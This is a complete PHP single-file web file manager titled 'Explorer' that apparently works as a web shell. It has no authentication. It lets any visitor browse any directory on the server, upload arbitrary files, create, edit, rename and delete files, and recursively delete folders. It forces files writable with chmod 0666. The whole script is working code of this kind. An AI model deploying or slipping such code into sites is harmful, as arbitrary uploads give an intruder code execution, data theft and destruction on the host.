<?php


declare(strict_types=1);


$BASE_DIR = rtrim(__DIR__, DIRECTORY_SEPARATOR);

function redirect_with_notice(string $path, string $key = '', string $kind = 'success', array $extra = []): void {
    $query = ['path' => $path, 'msg' => $key, 'type' => $kind] + $extra;
    $qs = http_build_query($query);
    header('Location: ?' . $qs);
    exit;
}

function normalize_path(string $requested, string $root): string {
    $req = str_replace("\0", '', trim($requested));

    if ($req === '' or $req === '.' or $req === '/' or $req === '\\') {
        return getcwd();
    }

    $decoded = rawurldecode($req);
    $decoded = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $decoded);


    if (!preg_match('#^([A-Za-z]:|'.preg_quote(DIRECTORY_SEPARATOR, '#').')#', $decoded)) {
        $abs = $root . DIRECTORY_SEPARATOR . ltrim($decoded, DIRECTORY_SEPARATOR);
    } else {
        $abs = $decoded;
    }


    $parts = [];
    foreach (explode(DIRECTORY_SEPARATOR, $abs) as $p) {
        if ($p === '' or $p === '.') continue;
        if ($p === '..') array_pop($parts);
        else $parts[] = $p;
    }

    if (DIRECTORY_SEPARATOR === '\\' and preg_match('#^[A-Za-z]:#', ($parts[0] ?? ''))) {
        $final = implode(DIRECTORY_SEPARATOR, $parts);
    } else {
        $final = DIRECTORY_SEPARATOR . implode(DIRECTORY_SEPARATOR, $parts);
    }

    $real = @realpath($final);

    if ($real !== false and str_starts_with($real, $root)) {
        $final = $real;
    }

    if (is_file($final)) $final = dirname($final);

    return rtrim($final, DIRECTORY_SEPARATOR);
}

function safe_read(string $path) {
    if (!is_file($path) or !is_readable($path)) return false;
    $fp = @fopen($path, 'rb');
    if (!$fp) return false;
    $data = '';
    while (!feof($fp)) {
        $chunk = @fread($fp, 65536);
        if ($chunk === false) { @fclose($fp); return false; }
        $data .= $chunk;
    }
    @fclose($fp);
    return $data;
}

function safe_write(string $path, string $content): bool {
    $dir = dirname($path);
    if (!is_dir($dir) or !is_writable($dir)) return false;
    $fp = @fopen($path, 'wb');
    if (!$fp) return false;
    @flock($fp, LOCK_EX);
    $written = @fwrite($fp, $content);
    @flock($fp, LOCK_UN);
    @fclose($fp);
    return ($written !== false);
}

function remove_dir(string $dir): bool {
    if (!is_dir($dir)) return false;
    $items = @scandir($dir);
    if ($items === false) return false;
    foreach ($items as $it) {
        if ($it === '.' or $it === '..') continue;
        $path = $dir . DIRECTORY_SEPARATOR . $it;
        if (is_dir($path)) {
            if (!remove_dir($path)) return false;
        } else {
            if (!@unlink($path)) return false;
        }
    }
    return @rmdir($dir);
}

function octal_perm($p): string {
    return substr(sprintf('%o', $p), -4);
}

function human_size($b): string {
    if (!is_numeric($b)) return '-';
    return number_format((float)$b) . ' bytes';
}

function breadcrumb_links(string $path, string $root): string {
    $p = str_replace('\\', '/', $path);
    $r = str_replace('\\', '/', $root);
    if (strpos($p, $r) === 0) {
        $relative = ltrim(substr($p, strlen($r)), '/');
        $parts = ($relative === '') ? [] : array_values(array_filter(explode('/', $relative), function($x){ return $x !== ''; }));
        $links = [];
        $links[] = "<a href='?path=" . urlencode($r) . "'>root</a>";
        $tmp = $r;
        foreach ($parts as $part) {
            $tmp = rtrim($tmp, '/\\') . DIRECTORY_SEPARATOR . $part;
            $links[] = "<a href='?path=" . urlencode($tmp) . "'>" . htmlspecialchars($part) . "</a>";
        }
        return implode(' / ', $links);
    } else {
        $parts = array_values(array_filter(explode('/', trim($p, '/')), function($x){ return $x !== ''; }));
        $acc = '';
        $links = [];
        foreach ($parts as $seg) {
            $acc .= ($acc === '' ? '' : '/') . $seg;
            $links[] = "<a href='?path=" . urlencode($acc) . "'>" . htmlspecialchars($seg) . "</a>";
        }
        return implode(' / ', $links);
    }
}

$alerts = [
    'new_file'     => 'New file has been created successfully.',
    'file_edit'    => 'File saved successfully.',
    'file_removed' => 'File has been deleted.',
    'dir_created'  => 'New folder created.',
    'dir_removed'  => 'Folder removed completely.',
    'rename_ok'    => 'Item renamed successfully.',
    'upload_ok'    => 'Upload finished successfully.',
    'perm_fake'    => 'Permission simulation done.',
    'missing_item' => 'Item not found.',
    'write_error'  => 'Cannot write to target. Check file permissions.',
];

$req_path    = $_GET['path'] ?? '';
$ACTION      = $_GET['action'] ?? '';
$FILE        = $_GET['file'] ?? '';
$FOLDER      = $_GET['folder'] ?? '';
$CURRENT_DIR = normalize_path($req_path, $BASE_DIR);

$msg_key  = $_GET['msg'] ?? '';
$msg_text = null;
$msg_type = 'success';
if ($msg_key !== '' and array_key_exists($msg_key, $alerts)) {

    $msg_text = $alerts[$msg_key];
    $t = $_GET['type'] ?? '';
    if ($t === 'error') $msg_type = 'error';
}

function upload_copy(string $tmp, string $dest): bool {
    if (!is_uploaded_file($tmp)) return false;
    $dir = dirname($dest);
    if (!is_dir($dir) or !is_writable($dir)) return false;

    $in = @fopen($tmp, 'rb');
    if (!$in) return false;
    $out = @fopen($dest, 'wb');
    if (!$out) { @fclose($in); return false; }

    $ok = true;
    while (!feof($in)) {
        $data = @fread($in, 65536);
        if ($data === false or @fwrite($out, $data) === false) { $ok = false; break; }

    }

    @fclose($in);
    @fclose($out);

    if ($ok) { @unlink($tmp); return true; }
    if (file_exists($dest)) @unlink($dest); 
    return false;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {


    if (isset($_FILES['nax'])) {
        $f = $_FILES['nax'];
        $dest = rtrim($CURRENT_DIR, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . basename($f['name']);
        if ($f['error'] !== UPLOAD_ERR_OK or !is_uploaded_file($f['tmp_name'])) {
            redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');
        } elseif (upload_copy($f['tmp_name'], $dest)) {
            redirect_with_notice($CURRENT_DIR, 'upload_ok', 'success');
        } else {
            redirect_with_notice($CURRENT_DIR, 'write_error', 'error');
        }
    }


    if (isset($_POST['newfile'])) {
        $name    = basename(trim($_POST['file_name'] ?? ''));
        $content = (string)($_POST['file_content'] ?? '');
        if ($name === '') redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');
        $target = $CURRENT_DIR . DIRECTORY_SEPARATOR . $name;
        if (file_exists($target)) redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');
        if (safe_write($target, $content)) redirect_with_notice($CURRENT_DIR, 'new_file', 'success');
        redirect_with_notice($CURRENT_DIR, 'write_error', 'error');
    }

 
    if (isset($_POST['newfolder'])) {
        $name = basename(trim($_POST['folder_name'] ?? ''));
        if ($name === '') redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');
        $target = $CURRENT_DIR . DIRECTORY_SEPARATOR . $name;
        if (file_exists($target)) redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');
        if (@mkdir($target, 0777, true)) redirect_with_notice($CURRENT_DIR, 'dir_created', 'success');
        redirect_with_notice($CURRENT_DIR, 'write_error', 'error');
    }


    if (isset($_POST['edit']) and $FILE !== '') {
        $target  = rtrim($CURRENT_DIR, "/\\") . DIRECTORY_SEPARATOR . $FILE;
        $content = (string)($_POST['file_content'] ?? '');
        if (!is_file($target)) redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');

        if (!is_writable($target)) @chmod($target, 0666);
        if (!is_writable($target)) {
            redirect_with_notice($CURRENT_DIR, 'write_error', 'error', ['action' => 'edit', 'file' => $FILE]);
        }

        if (safe_write($target, $content)) {
            redirect_with_notice($CURRENT_DIR, 'file_edit', 'success', ['action' => 'edit', 'file' => $FILE]);
        }
        redirect_with_notice($CURRENT_DIR, 'write_error', 'error', ['action' => 'edit', 'file' => $FILE]);
    }


    if (isset($_POST['rename'])) {
        $new   = basename(trim($_POST['new_name'] ?? ''));
        $type  = (string)($_POST['type'] ?? 'file');
        $curr  = basename(trim($_POST['current_name'] ?? ''));
        if ($new === '' or $curr === '') redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');


        $oldPath = $CURRENT_DIR . DIRECTORY_SEPARATOR . $curr;
        $newPath = $CURRENT_DIR . DIRECTORY_SEPARATOR . $new;
        if (!file_exists($oldPath) or file_exists($newPath)) redirect_with_notice($CURRENT_DIR, 'missing_item', 'error');


        if (@rename($oldPath, $newPath)) redirect_with_notice($CURRENT_DIR, 'rename_ok', 'success');
        redirect_with_notice($CURRENT_DIR, 'write_error', 'error');
    }


    if (isset($_POST['delete_file'])) {
        $file = basename(trim($_POST['file'] ?? ''));
        if ($file !== '') {
            $target = $CURRENT_DIR . DIRECTORY_SEPARATOR . $file;
            if (is_file($target) and @unlink($target)) {
                redirect_with_notice($CURRENT_DIR, 'file_removed', 'success');
            }
        }
        redirect_with_notice($CURRENT_DIR, 'write_error', 'error');
    }


    if (isset($_POST['delete_folder'])) {
        $folder = basename(trim($_POST['folder'] ?? ''));
        if ($folder !== '') {
            $target = $CURRENT_DIR . DIRECTORY_SEPARATOR . $folder;
            if (is_dir($target) and remove_dir($target)) {
                redirect_with_notice($CURRENT_DIR, 'dir_removed', 'success');
            }
        }
        redirect_with_notice($CURRENT_DIR, 'write_error', 'error');
    }


    if (isset($_POST['chmod_apply'])) {
        redirect_with_notice($CURRENT_DIR, 'perm_fake', 'success');
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Explorer</title>
<style>
body { background:#f3f5f7; font-family:Verdana,sans-serif; color:#222; margin:0;}
.wrapper{max-width:960px;margin:25px auto;background:#fff;border-radius:12px;padding:22px;box-shadow:0 3px 6px rgba(0,0,0,0.1);}
h1{font-size:24px;margin-bottom:8px;}
.pathbar{margin-bottom:16px;color:#555;}
a{color:#006bd8;text-decoration:none;}
a:hover{text-decoration:underline;}
table{width:100%;border-collapse:collapse;margin-top:12px;}
th,td{padding:8px 10px;border-bottom:1px solid #ddd;}
th{background:#f2f2f2;text-align:left;}
tr:hover td{background:#f9fbfd;}
.notice{padding:10px;border-radius:6px;margin-bottom:15px;}
.notice.success{background:#e8fbe8;border:1px solid #a4e3a4;}
.notice.error{background:#fdeaea;border:1px solid #f2aaaa;}
fieldset{border:1px solid #ddd;border-radius:8px;margin:12px 0;}
legend{padding:0 6px;font-weight:bold;}
textarea{width:100%;height:280px;font-family:monospace;font-size:13px;}
button{background:#006bd8;color:#fff;border:none;border-radius:4px;padding:6px 12px;cursor:pointer;}
button:hover{background:#0053a3;}
input[type=text]{width:100%;padding:6px;border:1px solid #ccc;border-radius:4px;box-sizing:border-box;}
.inline{display:inline-block}
hr{border:none;border-top:1px solid #eee;margin:16px 0;}
</style>
</head>
<body>
<div class="wrapper">
<h1>Explorer</h1>

<div class="pathbar"><?php echo breadcrumb_links($CURRENT_DIR, $BASE_DIR); ?></div>

<div class="info">
  <strong>Location:</strong> <?php echo htmlspecialchars($CURRENT_DIR); ?><br>
  <strong>Root path:</strong> <?php echo htmlspecialchars($BASE_DIR); ?>
</div>

<?php if ($msg_text !== null): ?>
<div class="notice <?php echo htmlspecialchars($msg_type); ?>"><?php echo htmlspecialchars($msg_text); ?></div>
<?php endif; ?>

<?php if ($ACTION === 'edit' and $FILE !== ''): ?>
<?php
$target = rtrim($CURRENT_DIR, "/\\") . DIRECTORY_SEPARATOR . $FILE;
$content = safe_read($target);
if ($content === false) {
    echo "<div class='notice error'>Unable to open file for reading.</div>";
} else { ?>
<form method="post">
<fieldset>
<legend>Editing: <?php echo htmlspecialchars($FILE); ?></legend>
<textarea name="file_content"><?php echo htmlspecialchars($content); ?></textarea><br>
<button type="submit" name="edit">Save maftirs</button>
</fieldset>
</form>
<?php } ?>
<hr>
<?php endif; ?>

<form method="post" enctype="multipart/form-data">
<fieldset><legend>Upload</legend>
<input type="file" name="nax" />
<button type="submit">Start Upload</button>
</fieldset>
</form>

<form method="post">
<fieldset><legend>New File</legend>
<input type="text" name="file_name" placeholder="File name..." />
<textarea name="file_content" placeholder="Optional content..."></textarea>
<button type="submit" name="newfile">Create File</button>
</fieldset>
</form>

<form method="post">
<fieldset><legend>New Folder</legend>
<input type="text" name="folder_name" placeholder="Folder name..." />
<button type="submit" name="newfolder">Create Folder</button>
</fieldset>
</form>

<hr>

<h2>Directory Contents</h2>
<table>
<tr><th>Name</th><th>Size</th><th>Perms</th><th>Modified</th><th>Actions</th></tr>
<?php
$entries = @scandir($CURRENT_DIR);
if ($entries === false) {
    echo "<tr><td colspan='5'>Unable to open directory.</td></tr>";
} else {
    foreach ($entries as $entry) {
        if ($entry === '.' or $entry === '..') continue;

        $full = $CURRENT_DIR . DIRECTORY_SEPARATOR . $entry;
        $is_dir = is_dir($full);
        $perm = @fileperms($full);
        $perm_str = ($perm !== false) ? octal_perm($perm) : '----';
        $size = ($is_dir ? '-' : human_size(@filesize($full)));
        $mtime = @date('Y-m-d H:i', @filemtime($full));

        echo "<tr>";
        echo "<td>";
        if ($is_dir) {
            echo "<a href='?path=" . urlencode($full) . "'>" . htmlspecialchars($entry) . "</a>";
        } else {
            echo htmlspecialchars($entry);
        }
        echo "</td>";
        echo "<td>$size</td><td>$perm_str</td><td>$mtime</td>";
        echo "<td>";

        if ($is_dir) {

            echo "<form method='post' class='inline' onsubmit=\"return confirm('Delete folder and contents?')\">";
            echo "<input type='hidden' name='delete_folder' value='1'>";
            echo "<input type='hidden' name='folder' value='" . htmlspecialchars($entry, ENT_QUOTES) . "'>";
            echo "<button type='submit'>ðï¸</button>";
            echo "</form> ";


            echo "<form method='post' class='inline'>";
            echo "<input type='hidden' name='rename' value='1'>";
            echo "<input type='hidden' name='type' value='folder'>";
            echo "<input type='hidden' name='current_name' value='" . htmlspecialchars($entry, ENT_QUOTES) . "'>";
            echo "<input type='text' name='new_name' placeholder='New name...' />";
            echo " <button type='submit'>Rename</button>";
            echo "</form>";
        } else {

            echo "<a class='inline' style='margin-right:6px' href='?path=" . urlencode($CURRENT_DIR) . "&action=edit&file=" . urlencode($entry) . "'>âï¸</a>";

 
            echo "<form method='post' class='inline' onsubmit=\"return confirm('Remove this file?')\">";
            echo "<input type='hidden' name='delete_file' value='1'>";
            echo "<input type='hidden' name='file' value='" . htmlspecialchars($entry, ENT_QUOTES) . "'>";
            echo "<button type='submit'>ðï¸</button>";
            echo "</form> ";


            echo "<form method='post' class='inline'>";
            echo "<input type='hidden' name='rename' value='1'>";
            echo "<input type='hidden' name='type' value='file'>";
            echo "<input type='hidden' name='current_name' value='" . htmlspecialchars($entry, ENT_QUOTES) . "'>";
            echo "<input type='text' name='new_name' placeholder='New name...' />";
            echo " <button type='submit'>Rename</button>";
            echo "</form>";
        }

        echo "</td></tr>";
    }
}
?>
</table>

<hr>

<form method="post">
<fieldset><legend>Chang</legend>
<input type="text" name="chmod_target" placeholder="File or folder..." />
<input type="text" name="chmod_value" placeholder="e.g. 0755" />
<button type="submit" name="chmod_apply">Apply</button>
</fieldset>
</form>

</div>
</body>
</html>
